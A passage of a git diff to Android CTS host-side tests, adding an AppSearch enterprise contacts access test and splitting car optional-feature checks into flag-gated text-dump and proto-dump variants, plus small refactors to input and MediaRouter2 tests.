index 615da3e..dc44bc2 100644
--- a/hostsidetests/appsearch/test-apps/AppSearchHostTestHelperA/AndroidManifest.xml
+++ b/hostsidetests/appsearch/test-apps/AppSearchHostTestHelperA/AndroidManifest.xml
@@ -19,7 +19,7 @@
<application>
<uses-library android:name="android.test.runner" />
</application>
-
+ <uses-permission android:name="android.permission.READ_CONTACTS" />
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.appsearch.app.helper_a" />
diff --git a/hostsidetests/appsearch/test-apps/AppSearchHostTestHelperA/src/android/appsearch/app/helper_a/EnterpriseContactsDeviceTest.java b/hostsidetests/appsearch/test-apps/AppSearchHostTestHelperA/src/android/appsearch/app/helper_a/EnterpriseContactsDeviceTest.java
new file mode 100644
index 0000000..1d13ad8
--- /dev/null
+++ b/hostsidetests/appsearch/test-apps/AppSearchHostTestHelperA/src/android/appsearch/app/helper_a/EnterpriseContactsDeviceTest.java
@@ -0,0 +1,350 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsearch.app.helper_a;
+
+import static android.app.appsearch.testutil.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static android.app.appsearch.testutil.AppSearchTestUtils.convertSearchResultsToDocuments;
+
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.ContactPoint.CONTACT_POINT_PROPERTY_ADDRESS;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.ContactPoint.CONTACT_POINT_PROPERTY_EMAIL;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.ContactPoint.CONTACT_POINT_PROPERTY_LABEL;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.ContactPoint.CONTACT_POINT_PROPERTY_TELEPHONE;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.Person.PERSON_PROPERTY_ADDITIONAL_NAMES;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.Person.PERSON_PROPERTY_AFFILIATIONS;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.Person.PERSON_PROPERTY_CONTACT_POINTS;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.Person.PERSON_PROPERTY_IMAGE_URI;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.Person.PERSON_PROPERTY_NAME;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.Person.PERSON_PROPERTY_NOTES;
+import static com.android.server.appsearch.contactsindexer.appsearchtypes.Person.TYPE_NICKNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.EnterpriseGlobalSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByDocumentIdRequest;
+import android.app.appsearch.GetSchemaResponse;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.testutil.AppSearchSessionShimImpl;
+import android.app.appsearch.testutil.EnterpriseGlobalSearchSessionShimImpl;
+import android.app.appsearch.testutil.TestContactsIndexerConfig;
+import android.net.Uri;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.server.appsearch.contactsindexer.appsearchtypes.ContactPoint;
+import com.android.server.appsearch.contactsindexer.appsearchtypes.Person;
+
+import com.google.common.collect.ImmutableSet;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class EnterpriseContactsDeviceTest {
+ private static final String PACKAGE_NAME =
+ ApplicationProvider.getApplicationContext().getPackageName();
+ private static final String DATABASE_NAME = "contacts";
+
+ // These constants are hidden in SetSchemaRequest
+ private static final int ENTERPRISE_ACCESS = 7;
+ private static final int ENTERPRISE_CONTACTS_DEVICE_POLICY = 8;
+
+ private EnterpriseGlobalSearchSessionShim mEnterpriseSession;
+
+ @Before
+ public void setUp() throws Exception {
+ mEnterpriseSession = EnterpriseGlobalSearchSessionShimImpl
+ .createEnterpriseGlobalSearchSessionAsync().get();
+ }
+
+ private Person.Builder createPersonBuilder(String namespace, String id, String name) {
+ return new Person.Builder(namespace, id, name)
+ .setGivenName("givenName")
+ .setMiddleName("middleName")
+ .setFamilyName("familyName")
+ .setExternalUri(Uri.parse("externalUri"))
+ .setImageUri(Uri.parse("imageUri"))
+ .setIsImportant(true)
+ .setIsBot(true)
+ .addAdditionalName(TYPE_NICKNAME, "nickname")
+ .addAffiliation("affiliation")
+ .addRelation("relation")
+ .addNote("note");
+ }
+
+ private void setUpEnterpriseContactsWithPermissions(Set<Integer> permissions) throws Exception {
+ AppSearchManager.SearchContext searchContext =
+ new AppSearchManager.SearchContext.Builder(
+ DATABASE_NAME).build();
+ AppSearchSessionShim db = AppSearchSessionShimImpl.createSearchSessionAsync(
+ searchContext).get();
+ SetSchemaRequest setSchemaRequest = new SetSchemaRequest.Builder()
+ .addSchemas(ContactPoint.SCHEMA,
+ Person.getSchema(new TestContactsIndexerConfig()))
+ .addRequiredPermissionsForSchemaTypeVisibility(Person.SCHEMA_TYPE, permissions)
+ .setForceOverride(true).build();
+ db.setSchemaAsync(setSchemaRequest).get();
+ // Index document
+ Person person1 = createPersonBuilder("namespace", "123", "Sam1 Curran")
+ .addContactPoint(new ContactPoint
+ .Builder("namespace", "cp1", "contact1")
+ .addEmail("person1@email.com")
+ .addPhone("123456")
+ .addAppId("appId1")
+ .addAddress("address1")
+ .build())
+ .build();
+ Person person2 = createPersonBuilder("namespace", "1234", "Sam2 Curran")
+ .addContactPoint(new ContactPoint
+ .Builder("namespace", "cp2", "contact2")
+ .addEmail("person2@email.com")
+ .addPhone("1234567")
+ .addAppId("appId2")
+ .addAddress("address2")
+ .build())
+ .build();
+ Person person3 = createPersonBuilder("namespace", "12345", "Sam3 Curran")
+ .addContactPoint(new ContactPoint
+ .Builder("namespace", "cp3", "contact3")
+ .addEmail("person3@email.com")
+ .addPhone("12345678")
+ .addAppId("appId3")
+ .addAddress("address3")
+ .build())
+ .build();
+ checkIsBatchResultSuccess(db.putAsync(
+ new PutDocumentsRequest.Builder().addGenericDocuments(person1, person2,
+ person3).build()));
+ }
+
+ @Test
+ public void setUpEnterpriseContacts() throws Exception {
+ setUpEnterpriseContactsWithPermissions(ImmutableSet.of(SetSchemaRequest.READ_CONTACTS,
+ ENTERPRISE_ACCESS,
+ ENTERPRISE_CONTACTS_DEVICE_POLICY));
+ }
+
+ @Test
+ public void setUpEnterpriseContactsWithoutEnterprisePermissions() throws Exception {
+ setUpEnterpriseContactsWithPermissions(ImmutableSet.of(SetSchemaRequest.READ_CONTACTS));
+ }
+
+ @Test
+ public void testHasEnterpriseAccess() throws Exception {
+ // Verify we can get the schema from the enterprise session
+ GetSchemaResponse getSchemaResponse = mEnterpriseSession.getSchemaAsync(PACKAGE_NAME,
+ DATABASE_NAME).get();
+ Set<AppSearchSchema> schemas = getSchemaResponse.getSchemas();
+ assertThat(schemas).hasSize(1);
+ assertThat(schemas.iterator().next().getSchemaType()).isEqualTo(Person.SCHEMA_TYPE);
+
+ // Searching with enterprise session returns documents
+ SearchSpec spec = new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterNamespaces("namespace")
+ .build();
+ SearchResultsShim searchResults = mEnterpriseSession.search("", spec);
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).isNotEmpty();
+ }
+
+ @Test
+ public void testDoesNotHaveEnterpriseAccess() throws Exception {
+ // Verify we cannot get the schema from the enterprise session
+ GetSchemaResponse getSchemaResponse = mEnterpriseSession.getSchemaAsync(PACKAGE_NAME,
+ DATABASE_NAME).get();
+ assertThat(getSchemaResponse.getSchemas()).isEmpty();
+
+ // Searching with enterprise session doesn't return any documents
+ SearchSpec spec = new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterNamespaces("namespace")
+ .build();
+ SearchResultsShim searchResults = mEnterpriseSession.search("", spec);
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).isEmpty();
+ }
+
+ @Test
+ public void testGetEnterpriseContact() throws Exception {
+ GetByDocumentIdRequest getDocumentRequest = new GetByDocumentIdRequest.Builder(
+ "namespace").addIds("123").build();
+
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mEnterpriseSession.getByDocumentIdAsync(
+ ApplicationProvider.getApplicationContext().getPackageName(),
+ DATABASE_NAME, getDocumentRequest).get();
+ assertThat(getResult.isSuccess()).isTrue();
+ GenericDocument document = getResult.getSuccesses().get("123");
+ assertThat(document.getPropertyNames()).containsExactly(PERSON_PROPERTY_NAME,
+ PERSON_PROPERTY_IMAGE_URI, PERSON_PROPERTY_CONTACT_POINTS);
+ assertThat(document.getPropertyString(Person.PERSON_PROPERTY_NAME)).isEqualTo(
+ "Sam1 Curran");
+ // The imageUri property will not be rewritten by EnterpriseSearchResultPageTransformer
+ // since this document does not come from the actual AppSearch contacts corpus
+ assertThat(document.getPropertyString(Person.PERSON_PROPERTY_IMAGE_URI)).isEqualTo(
+ "imageUri");
+ GenericDocument contactPoint = document.getPropertyDocumentArray(
+ Person.PERSON_PROPERTY_CONTACT_POINTS)[0];
+ assertThat(contactPoint.getPropertyNames()).containsExactly(
+ CONTACT_POINT_PROPERTY_LABEL, CONTACT_POINT_PROPERTY_EMAIL,
+ CONTACT_POINT_PROPERTY_TELEPHONE);
+ assertThat(contactPoint.getPropertyString(CONTACT_POINT_PROPERTY_LABEL)).isEqualTo(
+ "contact1");
+ assertThat(contactPoint.getPropertyString(CONTACT_POINT_PROPERTY_EMAIL)).isEqualTo(
+ "person1@email.com");
+ assertThat(contactPoint.getPropertyString(CONTACT_POINT_PROPERTY_TELEPHONE)).isEqualTo(
+ "123456");
+
+ // Check projections were not overwritten across Binder
+ assertThat(getDocumentRequest.getProjections()).isEmpty();
+ }
+
+ @Test
+ public void testGetEnterpriseContact_withProjection() throws Exception {
+ GetByDocumentIdRequest getDocumentRequest = new GetByDocumentIdRequest.Builder(
+ "namespace").addIds("123").addProjection(Person.SCHEMA_TYPE,
+ Arrays.asList(PERSON_PROPERTY_NAME, PERSON_PROPERTY_CONTACT_POINTS + "."
+ + CONTACT_POINT_PROPERTY_ADDRESS, PERSON_PROPERTY_CONTACT_POINTS + "."
+ + CONTACT_POINT_PROPERTY_EMAIL)).build();
+ Map<String, List<String>> projectionsCopy = getDocumentRequest.getProjections();
+
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mEnterpriseSession.getByDocumentIdAsync(
+ ApplicationProvider.getApplicationContext().getPackageName(),
+ DATABASE_NAME, getDocumentRequest).get();
+ assertThat(getResult.isSuccess()).isTrue();
+ GenericDocument document = getResult.getSuccesses().get("123");
+ assertThat(document.getPropertyNames()).containsExactly(PERSON_PROPERTY_NAME,
+ PERSON_PROPERTY_CONTACT_POINTS);
+ assertThat(document.getPropertyString(Person.PERSON_PROPERTY_NAME)).isEqualTo(
+ "Sam1 Curran");
+ GenericDocument contactPoint = document.getPropertyDocumentArray(
+ Person.PERSON_PROPERTY_CONTACT_POINTS)[0];
+ assertThat(contactPoint.getPropertyNames()).containsExactly(
+ CONTACT_POINT_PROPERTY_EMAIL);
+ assertThat(contactPoint.getPropertyString(CONTACT_POINT_PROPERTY_EMAIL)).isEqualTo(
+ "person1@email.com");
+
+ // Check projections were not overwritten across Binder
+ assertThat(getDocumentRequest.getProjections()).isEqualTo(projectionsCopy);
+ }
+
+ @Test
+ public void testSearchEnterpriseContacts() throws Exception {
+ SearchSpec spec = new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterNamespaces("namespace")
+ .build();
+
+ SearchResultsShim searchResults = mEnterpriseSession.search("", spec);
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(3);
+ for (GenericDocument document : documents) {
+ assertThat(document.getPropertyNames()).containsExactly(PERSON_PROPERTY_NAME,
+ PERSON_PROPERTY_IMAGE_URI, PERSON_PROPERTY_CONTACT_POINTS);
+ GenericDocument contactPoint = document.getPropertyDocumentArray(
+ Person.PERSON_PROPERTY_CONTACT_POINTS)[0];
+ assertThat(contactPoint.getPropertyNames()).containsExactly(
+ CONTACT_POINT_PROPERTY_LABEL, CONTACT_POINT_PROPERTY_EMAIL,
+ CONTACT_POINT_PROPERTY_TELEPHONE);
+ }
+
+ // Searching by indexed but inaccessible properties returns nothing
+ searchResults = mEnterpriseSession.search(
+ "nickname OR affiliation OR note OR address", spec);
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).isEmpty();
+ }
+
+ @Test
+ public void testSearchEnterpriseContacts_withProjection() throws Exception {
+ SearchSpec spec = new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterNamespaces("namespace")
+ .addProjection(Person.SCHEMA_TYPE,
+ Arrays.asList(PERSON_PROPERTY_NAME, PERSON_PROPERTY_CONTACT_POINTS + "."
+ + CONTACT_POINT_PROPERTY_ADDRESS,
+ PERSON_PROPERTY_CONTACT_POINTS + "."
+ + CONTACT_POINT_PROPERTY_EMAIL))
+ .build();
+
+ SearchResultsShim searchResults = mEnterpriseSession.search("", spec);
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(3);
+ for (GenericDocument document : documents) {
+ assertThat(document.getPropertyNames()).containsExactly(PERSON_PROPERTY_NAME,
+ PERSON_PROPERTY_CONTACT_POINTS);
+ GenericDocument contactPoint = document.getPropertyDocumentArray(
+ Person.PERSON_PROPERTY_CONTACT_POINTS)[0];
+ assertThat(contactPoint.getPropertyNames()).containsExactly(
+ CONTACT_POINT_PROPERTY_EMAIL);
+ }
+
+ // Searching by indexed but inaccessible properties returns nothing
+ searchResults = mEnterpriseSession.search(
+ "nickname OR affiliation OR note OR address", spec);
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).isEmpty();
+ }
+
+ @Test
+ public void testSearchEnterpriseContacts_withFilter() throws Exception {
+ SearchSpec spec = new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterNamespaces("namespace")
+ .addFilterProperties(Person.SCHEMA_TYPE,
+ Arrays.asList(PERSON_PROPERTY_NAME, PERSON_PROPERTY_ADDITIONAL_NAMES,
+ PERSON_PROPERTY_AFFILIATIONS, PERSON_PROPERTY_NOTES))
+ .build();
+
+ // Searching by name returns results
+ SearchResultsShim searchResults = mEnterpriseSession.search("Sam", spec);
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(3);
+ for (GenericDocument document : documents) {
+ assertThat(document.getPropertyNames()).containsExactly(PERSON_PROPERTY_NAME,
+ PERSON_PROPERTY_IMAGE_URI, PERSON_PROPERTY_CONTACT_POINTS);
+ GenericDocument contactPoint = document.getPropertyDocumentArray(
+ Person.PERSON_PROPERTY_CONTACT_POINTS)[0];
+ assertThat(contactPoint.getPropertyNames()).containsExactly(
+ CONTACT_POINT_PROPERTY_LABEL, CONTACT_POINT_PROPERTY_EMAIL,
+ CONTACT_POINT_PROPERTY_TELEPHONE);
+ }
+
+ // Searching by the filtered properties that are still inaccessible even when explicitly
+ // set returns nothing
+ searchResults = mEnterpriseSession.search(
+ "nickname OR affiliation OR note OR address", spec);
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).isEmpty();
+ }
+}
diff --git a/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java b/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
index e6d8036..db55530 100644
--- a/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
@@ -21,15 +21,25 @@
import static org.hamcrest.CoreMatchers.endsWith;
import static org.junit.Assume.assumeThat;
+import android.car.feature.Flags;
+import android.platform.test.annotations.RequiresFlagsDisabled;
+import android.platform.test.annotations.RequiresFlagsEnabled;
+import android.platform.test.flag.junit.CheckFlagsRule;
+import android.platform.test.flag.junit.host.HostFlagsValueProvider;
+
import com.android.car.CarFeatureControlDumpProto;
import com.android.compatibility.common.util.ProtoUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
+import java.util.Collections;
import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* Check Optional Feature related car configs.
@@ -62,13 +72,32 @@
"vendor_extension"
};
+ @Rule
+ public final CheckFlagsRule mCheckFlagsRule =
+ HostFlagsValueProvider.createCheckFlagsRule(this::getDevice);
+
/**
* Partners can use the same system image for multiple product configs with variation in
* optional feature support. But CTS should run in a config where VHAL
* DISABLED_OPTIONAL_FEATURES property does not disable any optional features.
+ * Use text dump to get the number of features.
*/
@Test
- public void testNoDisabledFeaturesFromVHAL() throws Exception {
+ @RequiresFlagsDisabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testNoDisabledFeaturesFromVHAL_textDump() throws Exception {
+ List<String> features = findFeatureListFromCarServiceDump("mDisabledFeaturesFromVhal");
+ assertWithMessage("Number of features disabled from VHAL").that(features).isEmpty();
+ }
+
+ /**
+ * Partners can use the same system image for multiple product configs with variation in
+ * optional feature support. But CTS should run in a config where VHAL
+ * DISABLED_OPTIONAL_FEATURES property does not disable any optional features.
+ * Use proto dump to get the number of features.
+ */
+ @Test
+ @RequiresFlagsEnabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testNoDisabledFeaturesFromVHAL_protoDump() throws Exception {
CarFeatureControlDumpProto featureControlDump = getFeatureControlDumpProto();
int numDisabledFeaturesFromVhal = featureControlDump.getDisabledFeaturesFromVhalCount();
@@ -79,10 +108,24 @@
/**
* Experimental features cannot be shipped. There should be no experimental features available
- * in the device.
+ * in the device. Use text dump to get the number of available experimental features.
*/
@Test
- public void testNoExperimentalFeatures() throws Exception {
+ @RequiresFlagsDisabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testNoExperimentalFeatures_textDump() throws Exception {
+ // experimental feature disabled in user build
+ assumeUserBuild();
+ List<String> features = findFeatureListFromCarServiceDump("mAvailableExperimentalFeatures");
+ assertWithMessage("Number of experimental features available").that(features).isEmpty();
+ }
+
+ /**
+ * Experimental features cannot be shipped. There should be no experimental features available
+ * in the device. Use proto dump to get the number of available experimental features.
+ */
+ @Test
+ @RequiresFlagsEnabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testNoExperimentalFeatures_protoDump() throws Exception {
// experimental feature disabled in user build
assumeUserBuild();
CarFeatureControlDumpProto featureControlDump = getFeatureControlDumpProto();
@@ -108,55 +151,110 @@
/**
* All optional features declared from {@code mDefaultEnabledFeaturesFromConfig} should be
- * enabled for CTS test.
+ * enabled for CTS test. Use text dump to get the optional features list.
*/
@Test
- public void testAllOptionalFeaturesEnabled() throws Exception {
+ @RequiresFlagsDisabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testAllOptionalFeaturesEnabled_textDump() throws Exception {
+ List<String> enabledFeatures = findFeatureListFromCarServiceDump("mEnabledFeatures");
+ List<String> optionalFeaturesFromConfig = findFeatureListFromCarServiceDump(
+ "mDefaultEnabledFeaturesFromConfig");
+ assertWithMessage("Missing optional features from config").that(
+ enabledFeatures).containsAtLeastElementsIn(optionalFeaturesFromConfig);
+ }
+
+ /**
+ * All optional features declared from {@code mDefaultEnabledFeaturesFromConfig} should be
+ * enabled for CTS test. Use proto dump to get the optional features list.
+ */
+ @Test
+ @RequiresFlagsEnabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testAllOptionalFeaturesEnabled_protoDump() throws Exception {
List<String> enabledFeatures = getEnabledFeatures();
CarFeatureControlDumpProto featureControlDump = getFeatureControlDumpProto();
List<String> optionalFeaturesFromConfig =
featureControlDump.getDefaultEnabledFeaturesFromConfigList();
- List<String> missingFeatures = new ArrayList<>();
- for (String optional : optionalFeaturesFromConfig) {
- if (!enabledFeatures.contains(optional)) {
- missingFeatures.add(optional);
- }
- }
assertWithMessage("Missing optional features from config").that(
- missingFeatures).isEmpty();
+ enabledFeatures).containsAtLeastElementsIn(optionalFeaturesFromConfig);
}
/**
* Confirms that selected mandatory features are enabled.
*/
@Test
- public void testAllMandatoryFeaturesEnabled() throws Exception {
+ @RequiresFlagsDisabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testAllMandatoryFeaturesEnabled_textDump() throws Exception {
+ List<String> enabledFeatures = findFeatureListFromCarServiceDump("mEnabledFeatures");
+
+ assertWithMessage("Missing mandatory features").that(
+ enabledFeatures).containsAtLeastElementsIn(MANDATORY_FEATURES);
+ }
+
+ /**
+ * Confirms that selected mandatory features are enabled.
+ */
+ @Test
+ @RequiresFlagsEnabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testAllMandatoryFeaturesEnabled_protoDump() throws Exception {
List<String> enabledFeatures = getEnabledFeatures();
- List<String> missingFeatures = new ArrayList<>();
- for (String optional : MANDATORY_FEATURES) {
- if (!enabledFeatures.contains(optional)) {
- missingFeatures.add(optional);
- }
- }
- assertWithMessage("Missing mandatory features").that(missingFeatures).isEmpty();
+
+ assertWithMessage("Missing mandatory features").that(
+ enabledFeatures).containsAtLeastElementsIn(MANDATORY_FEATURES);
}
/**
* Confirms that adb command cannot drop feature.
*/
@Test
- public void testNoFeatureChangeAfterRebootForAdbCommand() throws Exception {
+ @RequiresFlagsDisabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testNoFeatureChangeAfterRebootForAdbCommand_textDump() throws Exception {
+ List<String> enabledFeaturesOrig = findFeatureListFromCarServiceDump("mEnabledFeatures");
+ disableFeatures(enabledFeaturesOrig);
+
+ getDevice().reboot();
+ List<String> enabledFeaturesAfterReboot = findFeatureListFromCarServiceDump(
+ "mEnabledFeatures");
+
+ assertWithMessage(
+ "Comparison between enabled features before and after device reboot").that(
+ enabledFeaturesOrig).containsExactlyElementsIn(enabledFeaturesAfterReboot);
+ }
+
+ /**
+ * Confirms that adb command cannot drop feature.
+ */
+ @Test
+ @RequiresFlagsEnabled(Flags.FLAG_CAR_DUMP_TO_PROTO)
+ public void testNoFeatureChangeAfterRebootForAdbCommand_protoDump() throws Exception {
List<String> enabledFeaturesOrig = getEnabledFeatures();
- for (String feature : enabledFeaturesOrig) {
- getDevice().executeShellCommand("cmd car_service disable-feature %s" + feature);
- }
+ disableFeatures(enabledFeaturesOrig);
getDevice().reboot();
List<String> enabledFeaturesAfterReboot = getEnabledFeatures();
assertWithMessage(
"Comparison between enabled features before and after device reboot").that(
- enabledFeaturesOrig).isEqualTo(enabledFeaturesAfterReboot);
+ enabledFeaturesOrig).containsExactlyElementsIn(enabledFeaturesAfterReboot);
+ }
+
+ private List<String> findFeatureListFromCarServiceDump(String featureDumpName)
+ throws Exception {
+ String output = getDevice().executeShellCommand(
+ "dumpsys car_service --services CarFeatureController");
+ Pattern pattern = Pattern.compile(featureDumpName + ":\\[(.*)\\]");
+ Matcher m = pattern.matcher(output);
+ if (!m.find()) {
+ return Collections.EMPTY_LIST;
+ }
+ String[] features = m.group(1).split(", ");
+ ArrayList<String> featureList = new ArrayList<>(features.length);
+ for (String feature : features) {
+ if (feature.isEmpty()) {
+ continue;
+ }
+ featureList.add(feature);
+ }
+ return featureList;
}
private CarFeatureControlDumpProto getFeatureControlDumpProto() throws Exception {
@@ -169,6 +267,12 @@
return featureControlDump.getEnabledFeaturesList();
}
+ private void disableFeatures(List<String> enabledFeaturesOrig) throws Exception {
+ for (String feature : enabledFeaturesOrig) {
+ getDevice().executeShellCommand("cmd car_service disable-feature %s" + feature);
+ }
+ }
+
private void assumeUserBuild() throws Exception {
assumeThat(getDevice().getBuildFlavor(), endsWith("-user"));
}
diff --git a/hostsidetests/input/app/src/android/input/cts/hostside/app/EmulateInputDevice.kt b/hostsidetests/input/app/src/android/input/cts/hostside/app/EmulateInputDevice.kt
index 660dd89..adbbddc 100644
--- a/hostsidetests/input/app/src/android/input/cts/hostside/app/EmulateInputDevice.kt
+++ b/hostsidetests/input/app/src/android/input/cts/hostside/app/EmulateInputDevice.kt
@@ -67,7 +67,8 @@
context.display,
R.raw.test_touchscreen_register,
InputDevice.SOURCE_TOUCHSCREEN,
- screenSize,
+ /*useDisplaySize*/
+ true,
).use { touchscreen ->
// Start the usage session.
touchscreen.tapOnScreen()
@@ -82,20 +83,21 @@
private fun UinputTouchDevice.tapOnScreen() {
val pointer = Point(screenSize.width / 2, screenSize.height / 2)
+ val pointerId = 0
// Down
sendBtnTouch(true)
- sendDown(0 /*id*/, pointer)
+ sendDown(pointerId, pointer)
sync()
// Move
pointer.offset(1, 1)
- sendMove(0 /*id*/, pointer)
+ sendMove(pointerId, pointer)
sync()
// Up
sendBtnTouch(false)
- sendUp(0 /*id*/)
+ sendUp(pointerId)
sync()
}
diff --git a/hostsidetests/media/Android.bp b/hostsidetests/media/Android.bp
index dd69df9..9a60d75 100644
--- a/hostsidetests/media/Android.bp
+++ b/hostsidetests/media/Android.bp
@@ -36,10 +36,12 @@
],
static_libs: [
+ "com.android.media.flags.bettertogether-aconfig-java-host",
+ "CompatChangeGatingTestBase",
"cts-host-utils",
"cts-statsd-atom-host-test-utils",
- "CompatChangeGatingTestBase",
"CtsMediaHostTestCommon",
+ "flag-junit-host",
],
data: [
":CtsAudioHostTestApp",
diff --git a/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/AndroidManifest.xml b/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/AndroidManifest.xml
index d2845b6..0d141b6 100644
--- a/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/AndroidManifest.xml
@@ -34,6 +34,11 @@
android:name=".ScreenOnActivity"
android:exported="false"
android:turnScreenOn="true" />
+
+ <activity
+ android:name=".ScanningActivity"
+ android:exported="false"
+ android:turnScreenOn="true"/>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/src/android/media/router/cts/bluetoothpermissionsapp/MediaRouter2DeviceTest.java b/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/src/android/media/router/cts/bluetoothpermissionsapp/MediaRouter2DeviceTest.java
index a744444..308f6da 100644
--- a/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/src/android/media/router/cts/bluetoothpermissionsapp/MediaRouter2DeviceTest.java
+++ b/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/src/android/media/router/cts/bluetoothpermissionsapp/MediaRouter2DeviceTest.java
@@ -78,7 +78,13 @@
import java.util.function.Function;
import java.util.stream.Collectors;
-/** Device-side test for {@link MediaRouter2} functionality. */
+/**
+ * Device-side tests for regular {@link MediaRouter2} functionality.
+ *
+ * <p>These tests must run as host-side tests to ensure test cases are isolated and no {@link
+ * MediaRouter2} state is shared across tests. Host-side tests create a new process for each test
+ * method. See {@code MediaRouter2HostSideTest} for more information.
+ */
@LargeTest
public class MediaRouter2DeviceTest {
/**
@@ -103,8 +109,6 @@
? "ROUTE_ID_BUILTIN_SPEAKER"
: MediaRoute2Info.ROUTE_ID_DEVICE;
- private MediaRouter2 mRouter2;
- private MediaRouter2Manager mRouter2Manager;
private Context mContext;
private ComponentName mPlaceholderComponentName;
private Activity mScreenOnActivity;
@@ -112,12 +116,6 @@
@Before
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getInstrumentation().getContext();
- mRouter2 = MediaRouter2.getInstance(mContext);
-
- InstrumentationRegistry.getInstrumentation()
- .getUiAutomation()
- .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
- mRouter2Manager = MediaRouter2Manager.getInstance(mContext);
mPlaceholderComponentName = new ComponentName(mContext, PlaceholderActivity.class);
}
@@ -143,6 +141,7 @@
@Test
public void deduplicationIds_propagateAcrossApps() throws TimeoutException {
launchScreenOnActivity();
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
RouteDiscoveryPreference preference =
new RouteDiscoveryPreference.Builder(
@@ -152,6 +151,7 @@
// we know the update should contain all the routes from each helper app.
Map<String, MediaRoute2Info> routes =
waitForAndGetRoutes(
+ router,
preference,
Set.of(
ROUTE_ID_APP_1_ROUTE_1,
@@ -183,6 +183,7 @@
@Test
public void deviceType_propagatesAcrossApps() throws TimeoutException {
launchScreenOnActivity();
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
RouteDiscoveryPreference preference =
new RouteDiscoveryPreference.Builder(
@@ -190,6 +191,7 @@
.build();
Map<String, MediaRoute2Info> routes =
waitForAndGetRoutes(
+ router,
preference,
Set.of(
ROUTE_ID_APP_1_ROUTE_1,
@@ -211,6 +213,13 @@
